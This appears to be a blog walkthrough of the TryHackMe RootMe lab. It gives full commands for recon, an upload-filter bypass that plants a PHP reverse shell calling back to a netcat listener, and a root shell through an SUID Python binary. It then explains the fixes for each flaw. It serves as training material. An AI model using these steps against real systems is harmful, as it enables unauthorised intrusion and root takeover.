TryHackMe Walkthrough: RootMe Room (Web Exploitation + Privilege Escalation)
Part 4 of the “Hacking from Zero” series
TryHackMe Walkthrough: RootMe Room (Web Exploitation + Privilege Escalation)
Part 4 of the “Hacking from Zero” series
“The goal isn’t just to get in — it’s to understand every step of how you got there.”
RootMe is one of the most popular beginner rooms on TryHackMe for good reason. It covers two fundamental pillars of penetration testing — web exploitation and privilege escalation — in a single, clean scenario. By the end of this walkthrough, you’ll have captured both flags and understood exactly why each technique works.
⚠️ Ethics Notice: This walkthrough is for the TryHackMe RootMe room only — a legal, sandboxed lab environment. Never attempt these techniques on systems you don’t own or have explicit written permission to test.
🗺️ Room Overview
Room: RootMe Difficulty: Easy Category: Web Exploitation, Privilege Escalation What you’ll learn:
- Reconnaissance with Nmap
- Web directory enumeration with Gobuster
- File upload bypass to gain a reverse shell
- Privilege escalation via SUID binaries
Flags to find:
user.txt— found after getting a shellroot.txt— found after escalating to root
🔧 Setup
First, deploy the machine on TryHackMe and connect via OpenVPN:
sudo openvpn your-vpn-file.ovpn
Once connected, note your target IP. I’ll use it TARGET_IP as a placeholder throughout — replace it with your actual machine IP.
Task 1 — Reconnaissance
Step 1: Nmap Scan
Always start with reconnaissance. We want to know what’s running on the target.
nmap -sV -sC -T4 TARGET_IP
Expected output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
We have two open ports:
- Port 22 — SSH (useful later if we find credentials)
- Port 80 — Apache web server (our main attack surface)
Navigate to it http://TARGET_IP in your browser. You'll see a basic webpage. Time to dig deeper.
Step 2: Web Directory Enumeration with Gobuster
A website’s visible pages are just the surface. Hidden directories often contain upload panels, admin interfaces, or sensitive files. We’ll use Gobuster to brute-force directory names.
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt
Expected output (key findings):
/css (Status: 301)
/js (Status: 301)
/panel (Status: 301) ← interesting!
/uploads (Status: 301) ← very interesting!
/server-status (Status: 403)
Two directories stand out:
/panel— likely an upload form/uploads— where uploaded files are stored
Navigate to it http://TARGET_IP/panel — you'll find a file upload form.
Task 2 — Getting a Shell
Step 3: Understanding the Upload Vulnerability
The upload form lets users submit files to the server. The vulnerability here is that the server doesn’t properly restrict what file types can be uploaded. If we can upload a PHP file, we can execute code on the server — this is called a 'Remote Code Execution (RCE)' vulnerability via file upload.
Our goal: upload a PHP reverse shell that calls back to our machine.
Step 4: Download a PHP Reverse Shell
Kali Linux comes with a ready-made PHP reverse shell:
cp /usr/share/webshells/php/php-reverse-shell.php .
If you don’t have it:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Open the file and edit two lines:
$ip = 'YOUR_THM_VPN_IP'; // Your TryHackMe VPN IP (run: ip a | grep tun0)
$port = 4444; // Port you'll listen on
Find your VPN IP:
ip a | grep tun0
Step 5: Bypass the File Extension Filter
Try uploading php-reverse-shell.php directly. The server likely blocks .php files.
Common bypass techniques — try these extensions in order:
Extension Notes .php Usually blocked .php5 Often allowed .php3 Older PHP extension .phtml PHP HTML — often overlooked .pHp Case variation
Rename your file and try each:
cp php-reverse-shell.php php-reverse-shell.php5
Upload php-reverse-shell.php5 via the /panel form. If you see a success message, the bypass worked.
💡 On RootMe specifically,
.php5typically works. The lesson here: file upload filters that only block.phpare trivially bypassed.
Step 6: Set Up a Listener
Before triggering the shell, start a Netcat listener on your machine to catch the incoming connection:
nc -lvnp 4444
This tells Netcat to listen (-l) verbosely (-v) on port 4444 (-p 4444) for incoming connections.
Step 7: Trigger the Reverse Shell
Navigate to your uploaded file:
http://TARGET_IP/uploads/php-reverse-shell.php5
Check your Netcat listener — you should see:
Connection received on TARGET_IP 49xxx
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
You have a shell! You’re running as www-data — the web server user.
Step 8: Stabilise the Shell
Raw shells are fragile (no tab completion, Ctrl+C kills the connection). Stabilise it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Then press Ctrl+Z to background it and run:
stty raw -echo; fg
Hit Enter twice. Now you have a proper interactive shell.
Step 9: Find user.txt
find / -name user.txt 2>/dev/null
Navigate to the found path and read it:
cat /var/www/user.txt
🎉 First flag captured!
Task 3 — Privilege Escalation
We’re currently www-data — a low-privilege user. We need to escalate to root to read root.txt.
Step 10: Find SUID Binaries
What is SUID?
SUID (Set User ID) is a Linux permission that allows a file to run with the privileges of its owner rather than the user executing it. If a binary owned by root has the SUID bit set, it runs as root — regardless of who executes it.
Find all SUID binaries on the system:
find / -user root -perm /4000 2>/dev/null
Scan the output for unusual entries. Common SUID binaries (passwd, sudo, ping) are expected. Look for something that doesn’t belong — on RootMe, you’ll spot:
/usr/bin/python
Python with SUID root? That’s our privilege escalation vector.
Step 11: Escalate Using Python SUID
GTFOBins (gtfobins.github.io) is the go-to reference for abusing binaries to escape restrictions or escalate privileges. For Python with SUID:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Breaking this down:
import os— import the OS moduleos.execl("/bin/sh", "sh", "-p")— replace the current process with a shell,-ppreserves the SUID effective UID (root)
Check your privilege level:
id
Expected output:
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
euid=0 — The effective user ID is root. You're a root!
Step 12: Capture root.txt
find / -name root.txt 2>/dev/null
cat /root/root.txt
🎉 Second flag captured! Room complete!
🧠 What We Learned & Why It Matters
Vulnerability 1: Unrestricted File Upload
The web server accepted PHP files (disguised with alternative extensions) and stored them in a publicly accessible directory. This allowed us to execute arbitrary code on the server.
Real-world fix:
- Validate file type by content (magic bytes), not just extension
- Store uploads outside the web root
- Execute uploaded files in a sandboxed environment
- Use a content security policy
Vulnerability 2: SUID Misconfiguration
Python should never have the SUID bit set. Any interpreter (Python, Perl, Ruby, Bash) with SUID is an instant root escalation.
Real-world fix:
- Audit SUID binaries regularly:
find / -perm /4000 2>/dev/null - Remove SUID from any binary that doesn’t strictly need it
- Follow the principle of least privilege
📋 Full Command Summary
# Recon
nmap -sV -sC -T4 TARGET_IP
# Directory enumeration
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt
# Copy & configure reverse shell
cp /usr/share/webshells/php/php-reverse-shell.php shell.php5
# Edit $ip and $port in the file
# Start listener
nc -lvnp 4444
# Trigger shell by visiting: http://TARGET_IP/uploads/shell.php5
# Stabilise shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Find user flag
find / -name user.txt 2>/dev/null
# Find SUID binaries
find / -user root -perm /4000 2>/dev/null
# Escalate via Python SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Find root flag
find / -name root.txt 2>/dev/null
🔗 Useful Resources
- GTFOBins — gtfobins.github.io — SUID/sudo/capability exploitation reference
- RevShells — revshells.com — Reverse shell generator for all languages
- PayloadsAllTheThings — github.com/swisskyrepo/PayloadsAllTheThings — File upload bypass cheatsheet
- HackTricks — book.hacktricks.xyz — The most comprehensive pentesting reference
🚀 What’s Next
You’ve now completed your first full CTF walkthrough — recon, exploitation, and privilege escalation. In the final blog of this series, we tackle OSINT: how hackers gather intelligence on targets using only publicly available information, without touching a single system.
The “Hacking from Zero” series:
- ✅ Getting Started with TryHackMe — Learning Path Overview
- ✅ Nmap Deep Dive: The Hacker’s Swiss Army Knife
- ✅ Networking Fundamentals Every Hacker Must Know
- ✅ (You are here) TryHackMe Walkthrough: RootMe Room
- 🔜 OSINT: How Hackers Find Information About You
Got stuck somewhere? Drop a comment — happy to help. If this helped you get your first root flag, hit that clap 👏!
Tags: #TryHackMe #CTF #EthicalHacking #Walkthrough #WebExploitation #PrivilegeEscalation #RootMe #Pentesting #InfoSec #CyberSecurity
Written as part of the “Hacking from Zero” TryHackMe blog series.
메타데이터
- post_id
- baeff5dd328d
- slug
- tryhackme-walkthrough-rootme-room-web-exploitation-privilege-escalation-baeff5dd328d
- url
- https://medium.com/@0xiMAK/tryhackme-walkthrough-rootme-room-web-exploitation-privilege-escalation-baeff5dd328d
- canonical_url
- https://medium.com/@0xiMAK/tryhackme-walkthrough-rootme-room-web-exploitation-privilege-escalation-baeff5dd328d
- author_url
- https://medium.com/@0xiMAK
- status
- ok
- fetched_at
- 2026-06-20 20:29:01